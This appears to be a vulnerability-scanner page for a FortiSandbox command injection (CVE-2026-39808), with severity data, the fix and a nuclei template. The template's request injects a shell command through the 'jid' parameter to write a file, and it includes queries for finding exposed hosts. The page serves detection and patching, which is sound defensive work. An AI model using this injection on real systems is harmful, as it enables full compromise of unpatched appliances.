Fortinet FortiSandbox - Command Injection

Exploited in the wild. Listed by CISA on 2026-07-16; known to be used by ransomware.

criticalseverity

9.8CVSS score

93.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.

Impact

Attackers can execute arbitrary code or commands, potentially leading to full system compromise.

Fix

Upgrade FortiSandbox to version 4.4.9 or later.

How to confirm it

Send: GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c
Positive when: contains(body, 'fortisandbox')
Send: GET /ng/{{filename}}.txt
Positive when: status_code == 200 and contains(body, '{{string}}')

Run it with nuclei: nuclei -id CVE-2026-39808 -u <target>

The full check

id: CVE-2026-39808

info:
  name: Fortinet FortiSandbox - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary code or commands, potentially leading to full system compromise.
  remediation: Upgrade FortiSandbox to version 4.4.9 or later.
  reference:
    - https://fortiguard.fortinet.com/psirt/FG-IR-26-100
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39808
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-39808
    cwe-id: CWE-78
    epss-score: 0.93189
    epss-percentile: 0.99836
  metadata:
    verified: true
    max-request: 2
    vendor: fortinet
    product: fortisandbox
    shodan-query: http.title:"FortiSandbox"
    fofa-query: title="FortiSandbox"
  tags: cve,cve2026,fortisandbox,fortinet,rce,intrusive,file-upload,vkev,kev

variables:
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'fortisandbox')"
        internal: true

  - raw:
      - |
        GET /ng/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '{{string}}')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from